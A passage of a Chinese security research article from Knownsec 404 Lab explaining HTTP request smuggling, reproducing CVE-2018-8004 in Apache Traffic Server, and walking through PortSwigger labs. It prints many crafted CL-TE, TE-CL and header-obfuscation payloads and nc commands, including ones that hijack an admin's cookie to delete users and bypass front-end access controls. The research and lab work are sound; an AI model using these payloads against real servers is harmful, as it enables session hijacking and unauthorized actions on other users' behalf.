-
协议层的攻击——HTTP请求走私
作者:mengchen@知道创宇404实验室
日期:2019年10月10日1. 前言
最近在学习研究BlackHat的议题,其中有一篇议题——"HTTP Desync Attacks: Smashing into the Cell Next Door"引起了我极大地兴趣,在其中,作者讲述了HTTP走私攻击这一攻击手段,并且分享了他的一些攻击案例。我之前从未听说过这一攻击方式,决定对这一攻击方式进行一个完整的学习梳理,于是就有了这一篇文章。
当然了,作为这一攻击方式的初学者,难免会有一些错误,还请诸位斧正。
2. 发展时间线
最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。
在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。
在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。
3. 产生原因
HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。
在进行后续的学习研究前,我们先来认识一下如今使用最为广泛的
HTTP 1.1
的协议特性——Keep-Alive&Pipeline
。在
HTTP1.0
之前的协议设计中,客户端每进行一次HTTP请求,就需要同服务器建立一个TCP链接。而现代的Web网站页面是由多种资源组成的,我们要获取一个网页的内容,不仅要请求HTML文档,还有JS、CSS、图片等各种各样的资源,这样如果按照之前的协议设计,就会导致HTTP服务器的负载开销增大。于是在HTTP1.1
中,增加了Keep-Alive
和Pipeline
这两个特性。所谓
Keep-Alive
,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive
,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1
中是默认开启的。有了
Keep-Alive
之后,后续就有了Pipeline
,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。现如今,浏览器默认是不启用
Pipeline
的,但是一般的服务器都提供了对Pipleline
的支持。为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用上了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构。
一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
3.1 CL不为0的GET请求
其实在这里,影响到的并不仅仅是GET请求,所有不携带请求体的HTTP请求都有可能受此影响,只因为GET比较典型,我们把它作为一个例子。
在
RFC2616
中,没有对GET请求像POST请求那样携带请求体做出规定,在最新的RFC7231
的4.3.1节中也仅仅提了一句。https://tools.ietf.org/html/rfc7231#section-4.3.1
sending a payload body on a GET request might cause some existing implementations to reject the request
假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的
Content-Length
头,不进行处理。这就有可能导致请求走私。比如我们构造请求
1234567GET / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 44\r\nGET / secret HTTP/1.1\r\nHost: example.com\r\n\r\n前端服务器收到该请求,通过读取
Content-Length
,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length
进行处理,由于Pipeline
的存在,它就认为这是收到了两个请求,分别是1234567第一个GET / HTTP/1.1\r\nHost: example.com\r\n第二个GET / secret HTTP/1.1\r\nHost: example.com\r\n这就导致了请求走私。在本文的4.3.1小节有一个类似于这一攻击方式的实例,推荐结合起来看下。
3.2 CL-CL
在
RFC7230
的第3.3.3
节中的第四条中,规定当服务器收到的请求中包含两个Content-Length
,而且两者的值不同时,需要返回400错误。但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个
Content-Length
的值对请求进行处理,而后端源站服务器按照第二个Content-Length
的值进行处理。此时恶意攻击者可以构造一个特殊的请求
1234567POST / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 8\r\nContent-Length: 7\r\n12345\r\na中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母
a
,对于后端服务器来说,这个a
是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如图所示。12GET /index.html HTTP/1.1\r\nHost: example.com\r\n从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。
这时候正常用户的请求就拼接到了字母
a
的后面,当后端服务器接收完毕后,它实际处理的请求其实是12aGET /index.html HTTP/1.1\r\nHost: example.com\r\n这时候用户就会收到一个类似于
aGET request method not found
的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于CSRF的攻击方式。但是两个
Content-Length
这种请求包还是太过于理想化了,一般的服务器都不会接受这种存在两个请求头的请求包。但是在RFC2616
的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length
,这其实也就意味着请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400
错误。服务器在这里的实现更容易出问题。3.3 CL-TE
所谓
CL-TE
,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length
这一请求头,而后端服务器会遵守RFC2616
的规定,忽略掉Content-Length
,处理Transfer-Encoding
这一请求头。chunk传输数据格式如下,其中size的值由16进制表示。
1[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
构造数据包
12345678910111213POST / HTTP/1.1\r\nHost: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nCookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\nConnection: keep-alive\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG连续发送几次请求就可以获得该响应。
由于前端服务器处理
Content-Length
,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是1230\r\n\r\nG当请求包经过代理服务器转发给后端服务器时,后端服务器处理
Transfer-Encoding
,当它读取到0\r\n\r\n
时,认为已经读取到结尾了,但是剩下的字母G
就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。123GPOST / HTTP/1.1\r\nHost: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n......服务器在解析时当然会产生报错了。
3.4 TE-CL
所谓
TE-CL
,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding
这一请求头,而后端服务器处理Content-Length
请求头。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
构造数据包
1234567891011121314POST / HTTP/1.1\r\nHost: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nCookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n12\r\nGPOST / HTTP/1.1\r\n\r\n0\r\n\r\n由于前端服务器处理
Transfer-Encoding
,当其读取到0\r\n\r\n
时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length
请求头,当它读取完12\r\n
之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是1234GPOST / HTTP/1.1\r\n\r\n0\r\n\r\n成功报错。
3.5 TE-TE
TE-TE
,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding
请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding
进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding
请求头。从某种意义上还是CL-TE
或者TE-CL
。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
构造数据包
123456789101112131415161718POST / HTTP/1.1\r\nHost: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nCookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\nContent-length: 4\r\nTransfer-Encoding: chunked\r\nTransfer-encoding: cow\r\n\r\n5c\r\nGPOST / HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n4. HTTP走私攻击实例——CVE-2018-8004
4.1 漏洞概述
Apache Traffic Server(ATS)是美国阿帕奇(Apache)软件基金会的一款高效、可扩展的HTTP代理和缓存服务器。
Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻击者可利用该漏洞实施HTTP请求走私攻击或造成缓存中毒。
在美国国家信息安全漏洞库中,我们可以找到关于该漏洞的四个补丁,接下来我们详细看一下。
CVE-2018-8004 补丁列表
- https://github.com/apache/trafficserver/pull/3192
- https://github.com/apache/trafficserver/pull/3201
- https://github.com/apache/trafficserver/pull/3231
- https://github.com/apache/trafficserver/pull/3251
注:虽然漏洞通告中描述该漏洞影响范围到7.1.3版本,但从github上补丁归档的版本中看,在7.1.3版本中已经修复了大部分的漏洞。
4.2 测试环境
4.2.1 简介
在这里,我们以ATS 7.1.2为例,搭建一个简单的测试环境。
环境组件介绍
1234567891011121314反向代理服务器IP: 10.211.55.22:80Ubuntu 16.04Apache Traffic Server 7.1.2后端服务器1-LAMPIP: 10.211.55.2:10085Apache HTTP Server 2.4.7PHP 5.5.9后端服务器2-LNMPIP: 10.211.55.2:10086Nginx 1.4.6PHP 5.5.9环境拓扑图
Apache Traffic Server 一般用作HTTP代理和缓存服务器,在这个测试环境中,我将其运行在了本地的Ubuntu虚拟机中,把它配置为后端服务器LAMP&LNMP的反向代理,然后修改本机HOST文件,将域名
ats.mengsec.com
和lnmp.mengsec,com
解析到这个IP,然后在ATS上配置映射,最终实现的效果就是,我们在本机访问域名ats.mengsec.com
通过中间的代理服务器,获得LAMP的响应,在本机访问域名lnmp.mengsec,com
,获得LNMP的响应。为了方便查看请求的数据包,我在LNMP和LAMP的Web目录下都放置了输出请求头的脚本。
LNMP:
123456789101112131415161718<?phpecho 'This is Nginx<br>';if (!function_exists('getallheaders')) {function getallheaders() {$headers = array();foreach ($_SERVER as $name => $value) {if (substr($name, 0, 5) == 'HTTP_') {$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;}}return $headers;}}var_dump(getallheaders());$data = file_get_contents("php://input");print_r($data);LAMP:
12345<?phpecho 'This is LAMP:80<br>';var_dump(getallheaders());$data = file_get_contents("php://input");print_r($data);4.2.2 搭建过程
在GIthub上下载源码编译安装ATS。
1https://github.com/apache/trafficserver/archive/7.1.2.tar.gz安装依赖&常用工具。
1apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget然后解压源码,进行编译&安装。
1234autoreconf -if./configure --prefix=/opt/ts-712makemake install安装完毕后,配置反向代理和映射。
编辑
records.config
配置文件,在这里暂时把ATS的缓存功能关闭。123456vim /opt/ts-712/etc/trafficserver/records.configCONFIG proxy.config.http.cache.http INT 0 # 关闭缓存CONFIG proxy.config.reverse_proxy.enabled INT 1 # 启用反向代理CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats仅能访问map表中映射的地址CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 监听在本地80端口编辑
remap.config
配置文件,在末尾添加要映射的规则表。1234vim /opt/ts-712/etc/trafficserver/remap.configmap http://lnmp.mengsec.com/ http://10.211.55.2:10086/map http://ats.mengsec.com/ http://10.211.55.2:10085/配置完毕后重启一下服务器使配置生效,我们可以正常访问来测试一下。
为了准确获得服务器的响应,我们使用管道符和
nc
来与服务器建立链接。1234printf 'GET / HTTP/1.1\r\n'\'Host:ats.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 80可以看到我们成功的访问到了后端的LAMP服务器。
同样的可以测试,代理服务器与后端LNMP服务器的连通性。
1234printf 'GET / HTTP/1.1\r\n'\'Host:lnmp.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 804.3 漏洞测试
来看下四个补丁以及它的描述
https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格,则返回400 https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时,关闭链接https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时,清空请求体
4.3.1 第一个补丁
https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格,则返回400
看介绍是给ATS增加了
RFC7230
第3.2.4
章的实现,在其中,规定了HTTP的请求包中,请求头字段与后续的冒号之间不能有空白字符,如果存在空白字符的话,服务器必须返回
400
,从补丁中来看的话,在ATS 7.1.2中,并没有对该标准进行一个详细的实现。当ATS服务器接收到的请求中存在请求字段与:
之间存在空格的字段时,并不会对其进行修改,也不会按照RFC标准所描述的那样返回400
错误,而是直接将其转发给后端服务器。而当后端服务器也没有对该标准进行严格的实现时,就有可能导致HTTP走私攻击。比如Nginx服务器,在收到请求头字段与冒号之间存在空格的请求时,会忽略该请求头,而不是返回
400
错误。在这时,我们可以构造一个特殊的HTTP请求,进行走私。
12345678GET / HTTP/1.1Host: lnmp.mengsec.comContent-Length : 56GET / HTTP/1.1Host: lnmp.mengsec.comattack: 1foo:很明显,请求包中下面的数据部分在传输过程中被后端服务器解析成了请求头。
来看下Wireshark中的数据包,ATS在与后端Nginx服务器进行数据传输的过程中,重用了TCP连接。
只看一下请求,如图所示:
阴影部分为第一个请求,剩下的部分为第二个请求。
在我们发送的请求中,存在特殊构造的请求头
Content-Length : 56
,56就是后续数据的长度。1234GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:在数据的末尾,不存在
\r\n
这个结尾。当我们的请求到达ATS服务器时,因为ATS服务器可以解析
Content-Length : 56
这个中间存在空格的请求头,它认为这个请求头是有效的。这样一来,后续的数据也被当做这个请求的一部分。总的来看,对于ATS服务器,这个请求就是完整的一个请求。12345678GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nContent-Length : 56\r\n\r\nGET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:ATS收到这个请求之后,根据Host字段的值,将这个请求包转发给对应的后端服务器。在这里是转发到了Nginx服务器上。
而Nginx服务器在遇到类似于这种
Content-Length : 56
的请求头时,会认为其是无效的,然后将其忽略掉。但并不会返回400错误,对于Nginx来说,收到的请求为1234567GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n\r\nGET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:因为最后的末尾没有
\r\n
,这就相当于收到了一个完整的GET请求和一个不完整的GET请求。完整的:
123GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n\r\n不完整的:
1234GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:在这时,Nginx就会将第一个请求包对应的响应发送给ATS服务器,然后等待后续的第二个请求传输完毕再进行响应。
当ATS转发的下一个请求到达时,对于Nginx来说,就直接拼接到了刚刚收到的那个不完整的请求包的后面。也就相当于
1234567GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo: GET / HTTP/1.1\r\nHost: 10.211.55.2:10086\r\nX-Forwarded-For: 10.211.55.2\r\nVia: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)\r\n然后Nginx将这个请求包的响应发送给ATS服务器,我们收到的响应中就存在了
attack: 1
和foo: GET / HTTP/1.1
这两个键值对了。那这会造成什么危害呢?可以想一下,如果ATS转发的第二个请求不是我们发送的呢?让我们试一下。
假设在Nginx服务器下存在一个
admin.php
,代码内容如下:123456789<?phpif(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){echo "You are Admin\n";if(isset($_GET['del'])){echo 'del user ' . $_GET['del'];}}else{echo "You are not Admin";}由于HTTP协议本身是无状态的,很多网站都是使用Cookie来判断用户的身份信息。通过这个漏洞,我们可以盗用管理员的身份信息。在这个例子中,管理员的请求中会携带这个一个
Cookie
的键值对admin=1
,当拥有管理员身份时,就能通过GET方式传入要删除的用户名称,然后删除对应的用户。在前面我们也知道了,通过构造特殊的请求包,可以使Nginx服务器把收到的某个请求作为上一个请求的一部分。这样一来,我们就能盗用管理员的Cookie了。
构造数据包
12345678GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nContent-Length : 78\r\n\r\nGET /admin.php?del=mengchen HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:然后是管理员的正常请求
123GET / HTTP/1.1Host: lnmp.mengsec.comCookie: admin=1让我们看一下效果如何。
在Wireshark的数据包中看的很直观,阴影部分为管理员发送的正常请求。
在Nginx服务器上拼接到了上一个请求中, 成功删除了用户mengchen。
4.3.2 第二个补丁
https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时,关闭连接
这个补丁说明了,在ATS 7.1.2中,如果请求导致了400错误,建立的TCP链接也不会关闭。在regilero的对CVE-2018-8004的分析文章中,说明了如何利用这个漏洞进行攻击。
12345678printf 'GET / HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'aa: \0bb\r\n'\'foo: bar\r\n'\'GET /2333 HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 80一共能够获得2个响应,都是400错误。
ATS在解析HTTP请求时,如果遇到
NULL
,会导致一个截断操作,我们发送的这一个请求,对于ATS服务器来说,算是两个请求。第一个
123GET / HTTP/1.1\r\nHost: ats.mengsec.com\r\naa:第二个
12345bb\r\nfoo: bar\r\nGET /2333 HTTP/1.1\r\nHost: ats.mengsec.com\r\n\r\n第一个请求在解析的时候遇到了
NULL
,ATS服务器响应了第一个400错误,后面的bb\r\n
成了后面请求的开头,不符合HTTP请求的规范,这就响应了第二个400错误。再进行修改下进行测试
1234567printf 'GET / HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'aa: \0bb\r\n'\'GET /1.html HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 80一个400响应,一个200响应,在Wireshark中也能看到,ATS把第二个请求转发给了后端Apache服务器。
那么由此就已经算是一个HTTP请求拆分攻击了,
123456GET / HTTP/1.1\r\nHost: ats.mengsec.com\r\naa: \0bb\r\nGET /1.html HTTP/1.1\r\nHost: ats.mengsec.com\r\n\r\n但是这个请求包,怎么看都是两个请求,中间的
GET /1.html HTTP/1.1\r\n
不符合HTTP数据包中请求头Name:Value
的格式。在这里我们可以使用absoluteURI
,在RFC2616
中第5.1.2
节中规定了它的详细格式。我们可以使用类似
GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1
的请求头进行请求。构造数据包
12345678GET /400 HTTP/1.1\r\nHost: ats.mengsec.com\r\naa: \0bb\r\nGET http://ats.mengsec.com/1.html HTTP/1.1\r\n\r\nGET /404 HTTP/1.1\r\nHost: ats.mengsec.com\r\n\r\n123456789printf 'GET /400 HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'aa: \0bb\r\n'\'GET http://ats.mengsec.com/1.html HTTP/1.1\r\n'\'\r\n'\'GET /404 HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 80本质上来说,这是两个HTTP请求,第一个为
12345GET /400 HTTP/1.1\r\nHost: ats.mengsec.com\r\naa: \0bb\r\nGET http://ats.mengsec.com/1.html HTTP/1.1\r\n\r\n其中
GET http://ats.mengsec.com/1.html HTTP/1.1
为名为GET http
,值为//ats.mengsec.com/1.html HTTP/1.1
的请求头。第二个为
123GET /404 HTTP/1.1\r\nHost: ats.mengsec.com\r\n\r\n当该请求发送给ATS服务器之后,我们可以获取到三个HTTP响应,第一个为400,第二个为200,第三个为404。多出来的那个响应就是ATS中间对服务器1.html的请求的响应。
根据HTTP Pipepline的先入先出规则,假设攻击者向ATS服务器发送了第一个恶意请求,然后受害者向ATS服务器发送了一个正常的请求,受害者获取到的响应,就会是攻击者发送的恶意请求中的
GET http://evil.mengsec.com/evil.html HTTP/1.1
中的内容。这种攻击方式理论上是可以成功的,但是利用条件还是太苛刻了。对于该漏洞的修复方式,ATS服务器选择了,当遇到400错误时,关闭TCP链接,这样无论后续有什么请求,都不会对其他用户造成影响了。
4.3.3 第三个补丁
https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头
在该补丁中,bryancall 的描述是
1当Content-Length请求头不匹配时,响应400,删除具有相同Content-Length请求头的重复副本,如果存在Transfer-Encoding请求头,则删除Content-Length请求头。从这里我们可以知道,ATS 7.1.2版本中,并没有对
RFC2616
的标准进行完全实现,我们或许可以进行CL-TE
走私攻击。构造请求
12345678GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG多次发送后就能获得
405 Not Allowed
响应。我们可以认为,后续的多个请求在Nginx服务器上被组合成了类似如下所示的请求。
123GGET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n......对于Nginx来说,
GGET
这种请求方法是不存在的,当然会返回405
报错了。接下来尝试攻击下
admin.php
,构造请求12345678GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nContent-Length: 56\r\n\r\nGET /admin.php?del=mengchen HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:多次请求后获得了响应
You are not Admin
,说明服务器对admin.php
进行了请求。如果此时管理员已经登录了,然后想要访问一下网站的主页。他的请求为
123GET / HTTP/1.1Host: lnmp.mengsec.comCookie: admin=1效果如下
我们可以看一下Wireshark的流量,其实还是很好理解的。
阴影所示部分就是管理员发送的请求,在Nginx服务器中组合进入了上一个请求中,就相当于
12345678GET /admin.php?del=mengchen HTTP/1.1Host: lnmp.mengsec.comattack: 1foo: GET / HTTP/1.1Host: 10.211.55.2:10086Cookie: admin=1X-Forwarded-For: 10.211.55.2Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2)携带着管理员的Cookie进行了删除用户的操作。这个与前面4.3.1中的利用方式在某种意义上其实是相同的。
4.3.3 第四个补丁
https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时,清空请求体
当时看这个补丁时,感觉是一脸懵逼,只知道应该和缓存有关,但一直想不到哪里会出问题。看代码也没找到,在9月17号的时候regilero的分析文章出来才知道问题在哪。
当缓存命中之后,ATS服务器会忽略请求中的
Content-Length
请求头,此时请求体中的数据会被ATS当做另外的HTTP请求来处理,这就导致了一个非常容易利用的请求走私漏洞。在进行测试之前,把测试环境中ATS服务器的缓存功能打开,对默认配置进行一下修改,方便我们进行测试。
12345vim /opt/ts-712/etc/trafficserver/records.configCONFIG proxy.config.http.cache.http INT 1 # 开启缓存功能CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # 使客户端Cache-Control头生效,方便控制缓存过期时间CONFIG proxy.config.http.cache.required_headers INT 1 # 当收到Cache-control: max-age 请求头时,就对响应进行缓存然后重启服务器即可生效。
为了方便测试,我在Nginx网站目录下写了一个生成随机字符串的脚本
random_str.php
123456789function randomkeys($length){$output='';for ($a = 0; $a<$length; $a++) {$output .= chr(mt_rand(33, 126));}return $output;}echo "get random string: ";echo randomkeys(8);构造请求包
12345678GET /1.html HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nCache-control: max-age=10\r\nContent-Length: 56\r\n\r\nGET /random_str.php HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n\r\n第一次请求
第二次请求
可以看到,当缓存命中时,请求体中的数据变成了下一个请求,并且成功的获得了响应。
123GET /random_str.php HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n\r\n而且在整个请求中,所有的请求头都是符合RFC规范的,这就意味着,在ATS前方的代理服务器,哪怕严格实现了RFC标准,也无法避免该攻击行为对其他用户造成影响。
ATS的修复措施也是简单粗暴,当缓存命中时,把整个请求体清空就好了。
5. 其他攻击实例
在前面,我们已经看到了不同种代理服务器组合所产生的HTTP请求走私漏洞,也成功模拟了使用HTTP请求走私这一攻击手段来进行会话劫持,但它能做的不仅仅是这些,在PortSwigger中提供了利用HTTP请求走私攻击的实验,可以说是很典型了。
5.1 绕过前端服务器的安全控制
在这个网络环境中,前端服务器负责实现安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,对每个请求都进行响应。因此我们可以利用HTTP请求走私,将无法访问的请求走私给后端服务器并获得响应。在这里有两个实验,分别是使用
CL-TE
和TE-CL
绕过前端的访问控制。5.1.1 使用CL-TE绕过前端服务器安全控制
实验的最终目的是获取admin权限并删除用户carlos
我们直接访问
/admin
,会返回提示Path /admin is blocked
,看样子是被前端服务器阻止了,根据题目的提示CL-TE
,我们可以尝试构造数据包12345678910111213POST / HTTP/1.1Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKIContent-Length: 38Transfer-Encoding: chunked0GET /admin HTTP/1.1foo: bar进行多次请求之后,我们可以获得走私过去的请求的响应。
提示只有是以管理员身份访问或者在本地登录才可以访问
/admin
接口。在下方走私的请求中,添加一个
Host: localhost
请求头,然后重新进行请求,一次不成功多试几次。如图所示,我们成功访问了admin界面。也知道了如何删除一个用户,也就是对
/admin/delete?username=carlos
进行请求。修改下走私的请求包再发送几次即可成功删除用户
carlos
。需要注意的一点是在这里,不需要我们对其他用户造成影响,因此走私过去的请求也必须是一个完整的请求,最后的两个
\r\n
不能丢弃。5.1.1 使用TE-CL绕过前端服务器安全控制
这个实验与上一个就十分类似了,具体攻击过程就不在赘述了。
5.2 获取前端服务器重写请求字段
在有的网络环境下,前端代理服务器在收到请求后,不会直接转发给后端服务器,而是先添加一些必要的字段,然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的,比如:
- 描述TLS连接所使用的协议和密码
- 包含用户IP地址的XFF头
- 用户的会话令牌ID
总之,如果不能获取到代理服务器添加或者重写的字段,我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法,主要是三大步骤:
- 找一个能够将请求参数的值输出到响应中的POST请求
- 把该POST请求中,找到的这个特殊的参数放在消息的最后面
- 然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。
怎么理解呢,还是做一下实验来一起来学习下吧。
实验的最终目的还是删除用户
carlos
。我们首先进行第一步骤,找一个能够将请求参数的值输出到响应中的POST请求。
在网页上方的搜索功能就符合要求
构造数据包
12345678910111213141516POST / HTTP/1.1Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Content-Type: application/x-www-form-urlencodedCookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLAContent-Length: 77Transfer-Encoding: chunked0POST / HTTP/1.1Content-Length: 70Connection: closesearch=123多次请求之后就可以获得前端服务器添加的请求头
这是如何获取的呢,可以从我们构造的数据包来入手,可以看到,我们走私过去的请求为
12345POST / HTTP/1.1Content-Length: 70Connection: closesearch=123其中
Content-Length
